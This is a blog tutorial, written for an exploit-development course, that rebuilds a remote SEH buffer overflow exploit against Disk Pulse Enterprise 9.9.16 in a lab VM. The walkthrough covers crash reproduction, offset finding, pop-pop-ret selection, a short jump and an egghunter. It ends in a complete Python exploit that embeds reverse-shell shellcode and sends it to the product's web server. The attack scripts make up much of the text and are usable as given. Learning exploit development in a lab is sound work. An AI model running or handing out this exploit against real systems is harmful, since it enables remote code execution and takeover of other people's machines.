Recreating exploits – Disk Pulse Enterprise 9.9.16 – Remote Buffer Overflow (SEH)

Introduction

As part of my Cracking The Perimeter course, I am doing the usual recommendation of recreating exploits from exploit-db.
This post will step through the entire process of installing a target application, recreating a crash and developing an exploit.
As for our target, lets recreate an exploit for Disk Pulse Enterprise 9.9.16.
I’ve made that decision for a few reasons:
1 – It is a remote exploit
2 – It involves SEH
3 – I can use an egghunter
and
4 – It is recent(ish), having been published on exploit-db on the 25th April 2017.

At the end of this, both you and I will have a better understanding of Egghunters, SEH exploits and basic exploit development!
I’ve tried to really load up on the detail each time I do something, so the entry requirements to understand this post are fairly minimal I hope.
Alright, this one is a lengthy one, so grab a coffee and lets crack into it.

1. The Setup

The first step is to download the vulnerable application we have selected. Exploit-DB makes this easy (sometimes) by attaching a download link for the vulnerable software on the exploit page.
Grab it now if you’re following along.

Next we need to spin up a Virtual Machine (VM) to install the vulnerable software on. I’ll assume you can do this, so lets skip a bit..
But just for reference I have chosen a 32bit Windows 7 installation.

Go ahead and drop in the executable for Disk Pulse Enterprise we downloaded from Exploit-DB earlier (Install VMware tools to drag and drop) and also throw Ollydbg (or your favourite debugger) into the VM as well.

OK. Last step is to install the software and make it vulnerable (it isnt by default).
Just click through all the defaults for installation.

Installation is all defaults

Once Disk Pulse is installed we make it vulnerable by doing the following:

click Tools > Advanced Options

Making our application vulnerable

Next click Server > Check the web Server Box > Give it a port (8080 in this case) > Save

Enable Web Server on port 8080

Alright, at this point here we have a Virtual Machine running our vulnerable software.
The next step is to..

2. Verify the Vulnerability

We want to attach Disk Pulse to Ollydbg to allow us to see the crash and start poking around.
If this is new to you, check out the short video below to get you going. Dont worry, no extra windows or tabs will open to play the video, it’ll just play where it is.
Go ahead and attach to diskpls.exe whenever you are ready.

Now that we have our application running and attached to a debugger it’s time to develop a proof of concept (POC) script.
Cool you say.
but how?

Well, lets look at the exploit on exploit-db and figure out what the vulnerability is.
Ive taken the time to grab the code from exploit-db (I removed the reverse shell so it fits on one page) and blur out the irrelevant parts of the exploit. The blurred parts just form a socket, or are bits of different shellcode stages.
Which we don’t care about since we will be recreating that ourselves.

We are interested in port, packet structure, injection point and injection length

The few unblurred lines of code tell us all we need to know.

1. Line 13 tells us to target the port 8080 web server
2. Line 22 tells us the injection length should be 5000 bytes long
3. Lines 32-36 tell us how to structure the GET request and also that the injection point is in the path of the GET request.

With this information we can create our very own POC.py that should crash the application.

Here’s mine:

import socket  ## This gives up the ability to connect to our remote VM

host = '192.168.1.106' ## This is our Disk Pulse VM IP address
port = 8080  ## 8080 because I selected 8080 as  the disk pulse webserver. Change it if  you chose something else.

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  ## Set up our socket
s.connect((host,port)) ## connect to our VM on port 8080 

poc = "A" * 5000 ## This poc variable is where we will do the majority of our work. At the moment we just declare 5000 A's

print "Connected. Sending lots of A's"
request = "GET /../%s HTTP/1.1\r\n" % poc   ## This line is the exploit line. We inject 5000 A's into the GET request path
request += "HOST: 4.2.2.2\r\n"              ## The next 4 lines are just fulfilling the requirements of the GET request format
request += "Connection: keep-alive\r\n"
request += "Referer: http://whatever.com\r\n"
request += "\r\n"

s.send(request)  ## This line actually sends the exploit we've built up over the last few lines.
s.close()        ## Close the connection to the remote VM.

You might notice that I do not have any error handling for my socket connection.
Well good job nerd, now it’s staying that way.

Once you have created your vulnerability proving script, all that’s left is to run it and send your payload to the target Disk Pulse VM.

and..

Awesome!
We recreated the crash!

3. Structured Exception Handling (SEH)

Looking closely we see something curious..

In a traditional stack based buffer overflow we see our access violation message and EIP containing our \x41’s (our letter A).
This time that is not the case, which hints at exception handling.
Lets check the SEH chain

click View > SEH Chain

Alright! There’s our A’s.
This tells us we have an SEH based Buffer Overflow.
Cool… what does that mean?

Structured Exception Handling is a mechanism that handles hardware and software exceptions that occur during the execution of a program.
This is in the form of try – catch – finally code blocks.

__try
{
this is some guarded code
}</code>

__except( something )
{
guarded code throws an exception. This is the exception handler part<strong> and is what we care about</strong>
}

__finally
{
This is a termination handler. It executes always. unless the __try specifically terminates early (e.g. using ExitThread)
}

Neat, so that’s what Structured Exception Handling IS. But why is it exploitable? and why does it mean EIP isn’t all A’s at the time of the crash?

Well let’s look at what Microsoft states:

When an exception occurs in user-mode code, the system uses the following search order to find an exception handler:

1. If the process is being debugged, the system notifies the debugger. For more information, see Debugger Exception Handling.

2. If the process is not being debugged, or if the associated debugger does not handle the exception, the system attempts to locate a frame-based exception handler by searching the stack frames of the thread in which the exception occurred. The system searches the current stack frame first, then searches through preceding stack frames in reverse order.

3. If no frame-based handler can be found, or no frame-based handler handles the exception, but the process is being debugged, the system notifies the debugger a second time.

4. If the process is not being debugged, or if the associated debugger does not handle the exception, the system provides default handling based on the exception type. For most exceptions, the default action is to call the ExitProcess function.

So our program raised an exception, and since it was being debugged, the system notified Olly and Olly paused!

As is hinted at in step 2, if an exception handler exists for the current block of code, a pointer to it will exist on the stack frame.
We can see this if we look at the current stack frame in Ollydbg.

As we can see above. The current stack frame has a pointer to the next SEH handler, and then a pointer to the current exception handler.
Since these exist on the stack in our current stack frame, they are vulnerable to being overwritten with our overflow. This is why using try – except is not a security measure. It just changes how we exploit the crash.

Anywho, with that super basic intro to structured exception handlers (more can be found here and here and here) let’s let Ollydbg pass the exception back to the program and continue execution.

We can achieve this by pressing Shift + F9 in Ollydbg

Shift + F9

Now this looks better.
EIP has been overwritten by our A’s, so we should be able to redirect execution flow.
But to where?

The classic exploitation method with SEH overflows is to redirect to a pop pop ret command sequence. Why? let’s look at the current stack.

POP – POP – RET

If we can pop the first two addresses off of the stack with two pop commands, then we can execute a return instruction, which will pop the next address off of the stack, and begin executing code at that location.
Since that location contains our A’s, we will be able to start executing our own code.

4. POP POP RET

Time to search for a pop pop ret instruction sequence to jump to.
But first, some cleanup and some prep.

Start the Disk Pulse Enterprise service since we crashed it.

Before we re-attach Ollydbg to Disk Pulse lets grab a plugin that we need.
grab the ollysseh plugin from the following link (you only need the .dll).
https://github.com/marioballano/ollysseh/tree/master/Project/Release

This will allow us to check for SafeSEH, DEP and ASLR protections.
Drop the .dll in your Ollydbg folder.

now when you restart Ollydbg you should have the SafeSEH plugin.

OK! it’s time to find a pop pop ret we can use.
Attach Disk Pulse to Olly again and use the SafeSEH plugin to scan all the loaded modules.

If you scroll down to the bottom of the scan results you’ll see that none of the Disk Pulse Enterprise modules are compiled with SafeSEH protection, ASLR protection or DEP protection.

Take note of the bottom 3 modules. Notice the starting addresses are all 3 bytes long (e.g. 0x470000).
This is because the first byte is 00 and Ollydbg has trimmed it out. So in reality the address is 00470000.
Null bytes terminate strings and ruin shellcode, so we dont like Null bytes.
Because of this, we will try to find a pop pop ret sequence in the first module (libspp.dll).
This is because this one module is in an address range that does not contain Null bytes.

If you’re not sure how to open a module for searching here’s a quick video to help out.
Otherwise, open the libspp.dll module.

Now that we have our module opened up we can search for a pop pop ret sequence like this:


**r32 means any 32 bit register. This is great because we do not care what register we pop the first two addresses into.**

Cool! we found a sequence that looks right!

…until we look at the memory address.
see that second byte? Lets split the memory address up into its 4 bytes..

10 00 1E B1

That second byte is a Null byte.
Again, We dont like Nulls. They terminate strings and ruin shellcode.

Press CTRL + L to search for the next occurrence. We’ll do this until we find a memory address without nulls.

alright, this one looks nice.
Lets expand the address again into its 4 bytes.

10 01 BB 9F

No Null bytes in this one.
So we’ll note this address down for later.
*There could be other bad characters in there, but at this point, we do not know that.*

We want to place this address inside our POC code so we can overwrite EIP and jump to it.
First though, we need to find out which 4 A’s in our 5000 byte buffer actually overwrite EIP.

5. EIP Offset

This is via the usual pattern_create, pattern_offset method. So lets just quickly walk through this with a few screenshots.
ready.
go.

put the pattern in the POC code..

attach program to debugger and run the POC..

view SEH Chain..

put pattern into pattern offset..

And boom! our offset is 2496 bytes in.

lets modify our proof of concept code to include the new offset and pop pop ret address.

import socket

host = '192.168.1.106'
port = 8080

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))


### pop pop ret address = 0x1001bb9f
poc = "\x41" * 2496  ## We write 2496 A's to get us to our EIP overwriting A's
poc += "\x9f\xbb\x01\x10" ### overwrite EIP to point to the address of our pop pop ret instruction sequence
poc += "\x43" * 2500 ## maintain the 5000 byte buffer by padding out the last 2500 bytes with C's

print "Connected. Sending lots of A's"
request = "GET /../%s HTTP/1.1\r\n" % poc
request += "HOST: 4.2.2.2\r\n"
request += "Connection: keep-alive\r\n"
request += "Referer: http://whatever.com\r\n"
request += "\r\n"

s.send(request)
s.close()

Cool, now we need to test whether our EIP overwrite actually works.
Restart the Disk Pulse service and attach it to Olly.
Before we run our python script again we’ll set a breakpoint at the pop pop ret address. So that if our EIP over write and code redirection works, we’ll know about it.

In Ollydbg, with Disk Pulse attached, press CTRL + G to bring up the “go to address” search box.
Type in our pop pop ret address

CTRL + G

**You’ll probably have to do the search TWICE. It’s just an Olly thing. don’t stress.**
**You can avoid this by going to the target address before pressing the run program button in Olly.**

Alright, set a break-point on the pop pop ret address by pressing F2, with the first address highlighted.

F2 to set a breakpoint

Now everything is set up, run your python Proof Of Concept again to crash the application.

Pass the exception back to the application with Shift + F9..

And boom! we redirected execution flow and hit the break-point.
now we can single step through the pop pop ret commands with F8 and see where our ret takes us.

F8 to single step

Nice!
We are taken to our A’s just before our EIP overwrite.
This gives us a 4 byte buffer for our first stage shellcode.
In this situation we will short jump (short jumps take 2-3 bytes of space)

 

6. Short Jump

Short jumps allow a maximum jump of 127 bytes backwards, or 127 bytes forwards.
So we have options here.
jump forwards a few bytes over our EIP overwrite and hit our “\x43” buffer.
Or jump backwards 127 bytes to give us a 120ish byte buffer to work with for a second stage shellcode.

I’m going to choose to try a backwards jump over 127 bytes.
why? flip a coin. who cares. try both.

The opcodes we want to use for our short jump are EB 80.
How did I know this?
Go ahead and bookmark this page.
You’ll use short jumps alot and if you’re anything like me, you’ll constantly forget the opcodes.
That page is awesome for learning about short jumps.

anyway back to it, lets plug our short jump into our python script..

### pop pop ret address = 0x1001bb9f
poc = "\x41" * 2492  ## Minus 4 bytes for the short jump area
poc += "\xeb\x80\x90\x90" ## short jump backwards plus nops to pad
poc += "\x9f\xbb\x01\x10" ### eip overwrite to pop pop ret
poc += "\x43" * 2500 ## padding to fill out the 5000 bytes

As per usual, restart the Disk Pulse service, reattach to Ollydbg, and set a breakpoint at the pop pop ret address.
Then run your newly modified POC script again.
pass the exception with Shift + F9 once again to hit your breakpoint.
Single step through (F8) the pop pop ret instruction to get to your short jump

Press F8 one more time to execute the jump and….

Cool, we are 126 bytes back.
Or more importantly, we have 125 bytes of space to place some more shellcode.

But reverse shells takes much more than 125 bytes.. and we want a reverse shell.
So.. what now?

Again, we have options.
We can long jump backwards even further and make space for a full reverse shell.
We can use some smaller shellcode that does other things (like making an admin account) (boring)
ORRR we can use an egghunter!

Let’s do it.

 

7. The Egghunter

 

I’m just going to jump straight into the new python script with this one and then explain it afterwards. Here it is..

import socket

host = '192.168.1.106'
port = 8080

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))

## This is our egghunter. It was scan memory looking for the hex equivalent of "WOOTWOOT", which we will place just before our shellcode.
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"


### pop pop ret address = 0x1001bb9f
poc = "\x41" * (2492-130-8) ## our A's minus our new egghunter buffer and egg
poc += "\x77\x30\x30\x74\x77\x30\x30\x74" ## This is the hex equivalent of "WOOTWOOT" and is what the egghunter will look for
poc += "\x90" * (130-len(egghunter)) + egghunter  ## We place our egghunter into the buffer roughly where our short jump lands. With a big old nop sled.
poc += "\xeb\x80\x90\x90" 
poc += "\x9f\xbb\x01\x10"
poc += "\x43" * 2500 

print "Connected. Sending payload.."
request = "GET /../%s HTTP/1.1\r\n" % poc
request += "HOST: 4.2.2.2\r\n"
request += "Connection: keep-alive\r\n"
request += "Referer: http://whatever.com\r\n"
request += "\r\n"

s.send(request)
s.close()

I’m not going to dive super deep into how egg hunters work.
But essentially the egg hunter will step through memory looking for our egg (in this case our egg is WOOTWOOT).
Once the egg is found the egghunter will jump to that address and begin execution whatever comes next.
if you want to know more about egghunters check this resource out.
*you should probably check it out anyway to verify my shellcode is in fact an egghunter before you use it.*

So our POC now looks a bit different.
The new egghunter variable contains (to no ones surprise) our egghunter shellcode.
The first couple thousand A’s have been reduced by 138 bytes.
I’ve added an 8 byte “WOOTWOOT” in for the egghunter to find.
And lastly I have used the remaining 130 bytes to add our egghunter (with a big old nop slide before it)
This 130 bytes is the area where our short jump will land.

So hopefully the execution flow should go something like this now..

EIP overwritten to pop pop ret address.
jump to and execute the pop pop ret
return to our 4 byte buffer containing our short jump
short jump 126 bytes backwards and land in our nops
slide down to our egghunter
egghunter searches memory for our egg
Jump to the egg once it is found.

Let’s do the usual restart,attach,breakpoint and run our new POC script to see if our egghunter works.
pass the exception back to the application and single step through to our short jump again.
Press F8 to take the jump and we should land in our NOPS.

step through all the nops and you will hit the egghunter.

if you start stepping through the egghunter you will notice it continue to increment its search address and check for the existence of WOOT , looping back if it doesnt find WOOT.
Assuming the Egghunter finds “WOOT” it will check if another WOOT follows it.

If another WOOT follows the first, we have found our egg and the last command jumps to just after our egg.
To test if this actually works. Set a breakpoint on the last “JMP EDI” instruction in our egghunter (F2).

and then click the run program button in Olly to continue execution until our breakpoint is hit (The egg is found).

After a few seconds (CPU’s work REALLLY FAST)…

We hit our breakpoint!
So… if we single step one more time..

We just jumped to our Egg!
In this case our Egg is right before our nop slide, so execution would just slide down the nops and do the egghunter again.
An infinite loop.

But what if we put our Egg at the start of our 1000 or so A’s, and replace the A’s with a reverse shell?

Lets do it.

 

8. The Final Touches

The last bit is the easy bit (as long as you choose the right payload and encoding).

Create a reverse shell payload..

Drop it into your script, making the appropriate modifications to the length of A’s.
Move you’re egg to the beginning of the reverse shell shellcode.

our final script looks like this:

import socket

host = '192.168.1.106'
port = 8080

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))

egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

reverse_shell =  ""
reverse_shell += "\x89\xe5\xdd\xc2\xd9\x75\xf4\x5b\x53\x59\x49\x49\x49"
reverse_shell += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
reverse_shell += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
reverse_shell += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
reverse_shell += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
reverse_shell += "\x4a\x49\x4b\x4c\x4d\x38\x4b\x32\x43\x30\x33\x30\x53"
reverse_shell += "\x30\x35\x30\x4b\x39\x4a\x45\x50\x31\x39\x50\x43\x54"
reverse_shell += "\x4c\x4b\x36\x30\x56\x50\x4c\x4b\x51\x42\x34\x4c\x4c"
reverse_shell += "\x4b\x36\x32\x45\x44\x4c\x4b\x54\x32\x36\x48\x54\x4f"
reverse_shell += "\x4f\x47\x50\x4a\x37\x56\x36\x51\x4b\x4f\x4e\x4c\x47"
reverse_shell += "\x4c\x53\x51\x43\x4c\x45\x52\x56\x4c\x51\x30\x59\x51"
reverse_shell += "\x38\x4f\x54\x4d\x53\x31\x49\x57\x5a\x42\x4b\x42\x56"
reverse_shell += "\x32\x30\x57\x4c\x4b\x31\x42\x44\x50\x4c\x4b\x50\x4a"
reverse_shell += "\x47\x4c\x4c\x4b\x30\x4c\x34\x51\x33\x48\x4a\x43\x50"
reverse_shell += "\x48\x43\x31\x4e\x31\x30\x51\x4c\x4b\x51\x49\x31\x30"
reverse_shell += "\x53\x31\x38\x53\x4c\x4b\x51\x59\x44\x58\x4a\x43\x47"
reverse_shell += "\x4a\x50\x49\x4c\x4b\x30\x34\x4c\x4b\x33\x31\x38\x56"
reverse_shell += "\x50\x31\x4b\x4f\x4e\x4c\x39\x51\x48\x4f\x54\x4d\x33"
reverse_shell += "\x31\x39\x57\x36\x58\x4b\x50\x52\x55\x4a\x56\x43\x33"
reverse_shell += "\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x56\x44\x44\x35\x4d"
reverse_shell += "\x34\x31\x48\x4c\x4b\x56\x38\x57\x54\x55\x51\x58\x53"
reverse_shell += "\x52\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x31\x48\x45"
reverse_shell += "\x4c\x33\x31\x38\x53\x4c\x4b\x35\x54\x4c\x4b\x45\x51"
reverse_shell += "\x58\x50\x4b\x39\x50\x44\x57\x54\x36\x44\x31\x4b\x31"
reverse_shell += "\x4b\x43\x51\x46\x39\x50\x5a\x36\x31\x4b\x4f\x4b\x50"
reverse_shell += "\x51\x4f\x51\x4f\x50\x5a\x4c\x4b\x34\x52\x4a\x4b\x4c"
reverse_shell += "\x4d\x31\x4d\x43\x58\x30\x33\x30\x32\x53\x30\x53\x30"
reverse_shell += "\x42\x48\x43\x47\x52\x53\x57\x42\x51\x4f\x46\x34\x45"
reverse_shell += "\x38\x50\x4c\x42\x57\x56\x46\x43\x37\x4b\x4f\x58\x55"
reverse_shell += "\x48\x38\x4c\x50\x35\x51\x33\x30\x55\x50\x56\x49\x4f"
reverse_shell += "\x34\x50\x54\x56\x30\x43\x58\x47\x59\x4d\x50\x32\x4b"
reverse_shell += "\x53\x30\x4b\x4f\x58\x55\x56\x30\x30\x50\x46\x30\x56"
reverse_shell += "\x30\x31\x50\x46\x30\x31\x50\x30\x50\x33\x58\x4b\x5a"
reverse_shell += "\x34\x4f\x49\x4f\x4b\x50\x4b\x4f\x58\x55\x4c\x57\x52"
reverse_shell += "\x4a\x43\x35\x53\x58\x39\x50\x59\x38\x35\x51\x58\x39"
reverse_shell += "\x33\x58\x43\x32\x53\x30\x54\x51\x51\x4b\x4b\x39\x4a"
reverse_shell += "\x46\x33\x5a\x34\x50\x36\x36\x56\x37\x35\x38\x4a\x39"
reverse_shell += "\x4e\x45\x34\x34\x43\x51\x4b\x4f\x59\x45\x4d\x55\x4f"
reverse_shell += "\x30\x52\x54\x54\x4c\x4b\x4f\x50\x4e\x43\x38\x42\x55"
reverse_shell += "\x4a\x4c\x52\x48\x4a\x50\x38\x35\x39\x32\x46\x36\x4b"
reverse_shell += "\x4f\x59\x45\x53\x58\x35\x33\x52\x4d\x45\x34\x53\x30"
reverse_shell += "\x4d\x59\x4a\x43\x51\x47\x56\x37\x51\x47\x56\x51\x5a"
reverse_shell += "\x56\x52\x4a\x44\x52\x36\x39\x30\x56\x4b\x52\x4b\x4d"
reverse_shell += "\x55\x36\x49\x57\x30\x44\x47\x54\x57\x4c\x43\x31\x43"
reverse_shell += "\x31\x4c\x4d\x30\x44\x31\x34\x44\x50\x58\x46\x43\x30"
reverse_shell += "\x47\x34\x36\x34\x30\x50\x56\x36\x36\x36\x46\x36\x31"
reverse_shell += "\x56\x36\x36\x50\x4e\x50\x56\x56\x36\x30\x53\x56\x36"
reverse_shell += "\x45\x38\x33\x49\x38\x4c\x37\x4f\x4d\x56\x4b\x4f\x58"
reverse_shell += "\x55\x4b\x39\x4b\x50\x30\x4e\x31\x46\x57\x36\x4b\x4f"
reverse_shell += "\x50\x30\x43\x58\x44\x48\x4c\x47\x45\x4d\x33\x50\x4b"
reverse_shell += "\x4f\x59\x45\x4f\x4b\x4c\x30\x4f\x45\x59\x32\x36\x36"
reverse_shell += "\x33\x58\x4e\x46\x5a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x4e"
reverse_shell += "\x35\x37\x4c\x33\x36\x53\x4c\x54\x4a\x4d\x50\x4b\x4b"
reverse_shell += "\x4d\x30\x52\x55\x43\x35\x4f\x4b\x50\x47\x54\x53\x42"
reverse_shell += "\x52\x32\x4f\x52\x4a\x35\x50\x50\x53\x4b\x4f\x58\x55"
reverse_shell += "\x41\x41" 

### pop pop ret address = 0x1001bb9f
poc = "\x41" * 1000 ## we create 1000 A's
poc += "\x77\x30\x30\x74\x77\x30\x30\x74" + reverse_shell ## Then we put our WOOTWOOT followed by our reverse shell
poc += "\x41" * (1492-130-8-len(reverse_shell)) ## we minus the length of our egg and our reverse shell from the next set of A's
poc += "\x90" * (130-len(egghunter)) + egghunter  ## our egghunter
poc += "\xeb\x80\x90\x90" ## short jump backwards plus nops to pad
poc += "\x9f\xbb\x01\x10" ### eip overwrite to pop pop ret
poc += "\x43" * 2500 ## padding to fill out the 5000 bytes


print "Connected. Sending payload.."
request = "GET /../%s HTTP/1.1\r\n" % poc
request += "HOST: 4.2.2.2\r\n"
request += "Connection: keep-alive\r\n"
request += "Referer: http://whatever.com\r\n"
request += "\r\n"

s.send(request)
s.close()

Lets restart the service again and as long as we have not made any mistakes there’s no need for a debugger anymore.

You’ll find out quickly if you have (it wont work).

Start your listener and fire away.

Leave a Reply

Your email address will not be published. Required fields are marked *